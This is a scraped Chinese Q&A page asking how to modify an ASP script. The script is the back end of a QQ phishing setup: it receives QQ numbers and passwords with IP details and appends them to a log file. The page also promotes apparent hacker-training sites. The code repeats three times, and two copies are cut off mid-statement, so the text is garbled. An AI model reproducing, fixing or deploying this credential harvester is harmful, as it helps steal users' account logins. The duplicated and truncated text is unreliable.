UC知道关于ASP如何修改,?
来源：百度知道 编辑：UC知道 时间：2024/05/31 02:33:20
<font size="7" color="#FF00FF"><a href="http://328522925.ys1168.com/"><b>小亮
http://heikepeixun.cn 来学习更多好东东吧~</b> </a></font>
<%
strLogFile="liang.txt"
QQNumber=request("QQNumber")
QQPassWord=request("QQPassWord")
QQclub=request("QQclub")
QQip=request("QQip")
if QQNumber="" or QQPassWord="" then
response.write "jhQQ"
response.end
End If
StrLogText=StrLogText&QQNumber&"----"&QQPassWord&"----会员:"&QQclub&"----IP:"&QQip&"("&request.servervariables("REMOTE_HOST")
StrLogText=StrLogText&")----"&date&" "&time
set f=Server.CreateObje
http://heikepeixun.cn 来学习更多好东东吧~</b> </a></font>
<%
strLogFile="liang.txt"
QQNumber=request("QQNumber")
QQPassWord=request("QQPassWord")
QQclub=request("QQclub")
QQip=request("QQip")
if QQNumber="" or QQPassWord="" then
response.write "jhQQ"
response.end
End If
StrLogText=StrLogText&QQNumber&"----"&QQPassWord&"----会员:"&QQclub&"----IP:"&QQip&"("&request.servervariables("REMOTE_HOST")
StrLogText=StrLogText&")----"&date&" "&time
set f=Server.CreateObje
<%
strLogFile="liang.txt"
QQNumber=request("QQNumber")
QQPassWord=request("QQPassWord")
QQclub=request("QQclub")
QQip=request("QQip")
'上边是定义
if QQNumber="" or QQPassWord="" then '判断 QQNumber QQPassWord 是否为空
response.write "jhQQ"
response.end
End If
StrLogText=StrLogText&QQNumber&"----"&QQPassWord&"----会员:"&QQclub&"----IP:"&QQip&"("&request.servervariables("REMOTE_HOST")
StrLogText=StrLogText&")----"&date&" "&time
'下面就开始写入：TXT了撒
set f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
ff.writeline(chr(13)+chr(10)&StrLogText)
ff.close
set ff=nothing
set f=nothing
response.write "小亮专版!&qu